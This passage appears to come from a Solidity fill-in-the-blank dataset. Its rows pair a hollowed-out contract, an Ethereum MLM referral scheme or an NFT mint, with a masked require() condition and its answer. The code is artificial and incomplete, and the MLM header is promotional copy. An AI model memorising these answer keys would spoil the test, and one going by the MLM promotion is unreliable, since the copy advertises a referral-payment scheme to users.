stats_level[1] = SafeMath.add(stats_level[1], uint(1));
processPayment(currentUserID, 1);
emit Register(currentUserID, _referrerID, _introducerID, now);
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| LEVEL_PRICE[msg.value]==1,'You have sent incorrect payment amount' | 30,153 | LEVEL_PRICE[msg.value]==1 |
'You have sent incorrect payment amount' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require( _level >= 2 && _level <= 18, 'Incorrect level');
require(<FILL_ME>)
require(users[userList[msg.sender]].level < _level, 'You have already activated this level');
uint level_previous = SafeMath.sub(_level, uint(1));
require(users[userList[msg.sender]].level == level_previous, 'Buy the previous level first');
users[userList[msg.sender]].level = _level;
if(TOKENS[2] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[2]);
emit TokensEarned(userList[msg.sender], TOKENS[2], uint(2), now);
}
if(TOKENS[3] > 0){
users[users[userList[msg.sender]].introducerID].tokens = SafeMath.add(users[users[userList[msg.sender]].introducerID].tokens, TOKENS[3]);
emit TokensEarned(users[userList[msg.sender]].introducerID, TOKENS[3], uint(3), now);
}
if(TOKENS[msg.value] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[msg.value]);
emit TokensEarned(userList[msg.sender], TOKENS[msg.value], uint(4), now);
}
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| LEVEL_PRICE[msg.value]==_level,'You have sent incorrect payment amount' | 30,153 | LEVEL_PRICE[msg.value]==_level |
'You have already activated this level' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require( _level >= 2 && _level <= 18, 'Incorrect level');
require(LEVEL_PRICE[msg.value] == _level, 'You have sent incorrect payment amount');
require(<FILL_ME>)
uint level_previous = SafeMath.sub(_level, uint(1));
require(users[userList[msg.sender]].level == level_previous, 'Buy the previous level first');
users[userList[msg.sender]].level = _level;
if(TOKENS[2] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[2]);
emit TokensEarned(userList[msg.sender], TOKENS[2], uint(2), now);
}
if(TOKENS[3] > 0){
users[users[userList[msg.sender]].introducerID].tokens = SafeMath.add(users[users[userList[msg.sender]].introducerID].tokens, TOKENS[3]);
emit TokensEarned(users[userList[msg.sender]].introducerID, TOKENS[3], uint(3), now);
}
if(TOKENS[msg.value] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[msg.value]);
emit TokensEarned(userList[msg.sender], TOKENS[msg.value], uint(4), now);
}
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[userList[msg.sender]].level<_level,'You have already activated this level' | 30,153 | users[userList[msg.sender]].level<_level |
'Buy the previous level first' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require( _level >= 2 && _level <= 18, 'Incorrect level');
require(LEVEL_PRICE[msg.value] == _level, 'You have sent incorrect payment amount');
require(users[userList[msg.sender]].level < _level, 'You have already activated this level');
uint level_previous = SafeMath.sub(_level, uint(1));
require(<FILL_ME>)
users[userList[msg.sender]].level = _level;
if(TOKENS[2] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[2]);
emit TokensEarned(userList[msg.sender], TOKENS[2], uint(2), now);
}
if(TOKENS[3] > 0){
users[users[userList[msg.sender]].introducerID].tokens = SafeMath.add(users[users[userList[msg.sender]].introducerID].tokens, TOKENS[3]);
emit TokensEarned(users[userList[msg.sender]].introducerID, TOKENS[3], uint(3), now);
}
if(TOKENS[msg.value] > 0){
users[userList[msg.sender]].tokens = SafeMath.add(users[userList[msg.sender]].tokens, TOKENS[msg.value]);
emit TokensEarned(userList[msg.sender], TOKENS[msg.value], uint(4), now);
}
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[userList[msg.sender]].level==level_previous,'Buy the previous level first' | 30,153 | users[userList[msg.sender]].level==level_previous |
'User does not exist' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
require(<FILL_ME>)
if(users[_user].referrals.length < REFERRAL_LIMIT){
return _user;
}
uint[] memory referrals = new uint[](340);
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
referrals[2] = users[_user].referrals[2];
referrals[3] = users[_user].referrals[3];
uint freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 340; i++){
if(users[referrals[i]].referrals.length == REFERRAL_LIMIT){
if(i < 84){
referrals[(i+1)*4] = users[referrals[i]].referrals[0];
referrals[(i+1)*4+1] = users[referrals[i]].referrals[1];
referrals[(i+1)*4+2] = users[referrals[i]].referrals[2];
referrals[(i+1)*4+3] = users[referrals[i]].referrals[3];
}
} else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
if(noFreeReferrer){
freeReferrer = 1;
}
return freeReferrer;
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[_user].isExist,'User does not exist' | 30,153 | users[_user].isExist |
"Max limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract IKNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 public SALE_NFT = 2950;
uint256 public PRESALE_NFT = 2000;
uint256 public GIVEAWAY_NFT = 50;
uint256 public MAX_MINT_PRESALE = 25;
uint256 public MAX_MINT_SALE = 25;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 5;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 8;
uint256 public PRESALE_PRICE = 4 * 10**16;
uint256 public SALE_PRICE = 5 * 10**16;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
bool public presaleEnable = false;
bool public saleEnable = false;
bytes32 public merkleRoot;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
string public _baseTokenURI;
constructor() ERC721A("Invisible Kids NFT", "IKNFT") {
}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
require(<FILL_ME>)
_safeMint(_to, _count);
GIVEAWAY_MINTED = GIVEAWAY_MINTED + _count;
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
}
function mintSaleNFT(uint256 _count) public payable{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
}
function setSaleStatus(bool status) public onlyOwner {
}
function setPreSaleStatus(bool status) public onlyOwner {
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updateSaleSupply(uint256 newSupply) external onlyOwner {
}
function updatePreSaleSupply(uint256 newSupply) external onlyOwner {
}
function updateGiveawaySupply(uint256 newSupply) external onlyOwner {
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
}
}
| GIVEAWAY_MINTED+_count<=GIVEAWAY_NFT,"Max limit" | 30,187 | GIVEAWAY_MINTED+_count<=GIVEAWAY_NFT |
"Exceeds max limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract IKNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 public SALE_NFT = 2950;
uint256 public PRESALE_NFT = 2000;
uint256 public GIVEAWAY_NFT = 50;
uint256 public MAX_MINT_PRESALE = 25;
uint256 public MAX_MINT_SALE = 25;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 5;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 8;
uint256 public PRESALE_PRICE = 4 * 10**16;
uint256 public SALE_PRICE = 5 * 10**16;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
bool public presaleEnable = false;
bool public saleEnable = false;
bytes32 public merkleRoot;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
string public _baseTokenURI;
constructor() ERC721A("Invisible Kids NFT", "IKNFT") {
}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(
presaleEnable,
"Pre-sale is not enable"
);
require(<FILL_ME>)
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
require(
users[msg.sender].presalemint + _count <= MAX_MINT_PRESALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_PRESALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= PRESALE_PRICE * _count,
"Value below price"
);
_safeMint(msg.sender, _count);
PRESALE_MINTED = PRESALE_MINTED + _count;
users[msg.sender].presalemint = users[msg.sender].presalemint + _count;
}
function mintSaleNFT(uint256 _count) public payable{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
}
function setSaleStatus(bool status) public onlyOwner {
}
function setPreSaleStatus(bool status) public onlyOwner {
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updateSaleSupply(uint256 newSupply) external onlyOwner {
}
function updatePreSaleSupply(uint256 newSupply) external onlyOwner {
}
function updateGiveawaySupply(uint256 newSupply) external onlyOwner {
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
}
}
| PRESALE_MINTED+_count<=PRESALE_NFT,"Exceeds max limit" | 30,187 | PRESALE_MINTED+_count<=PRESALE_NFT |
"Exceeds max mint limit per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract IKNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 public SALE_NFT = 2950;
uint256 public PRESALE_NFT = 2000;
uint256 public GIVEAWAY_NFT = 50;
uint256 public MAX_MINT_PRESALE = 25;
uint256 public MAX_MINT_SALE = 25;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 5;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 8;
uint256 public PRESALE_PRICE = 4 * 10**16;
uint256 public SALE_PRICE = 5 * 10**16;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
bool public presaleEnable = false;
bool public saleEnable = false;
bytes32 public merkleRoot;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
string public _baseTokenURI;
constructor() ERC721A("Invisible Kids NFT", "IKNFT") {
}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(
presaleEnable,
"Pre-sale is not enable"
);
require(
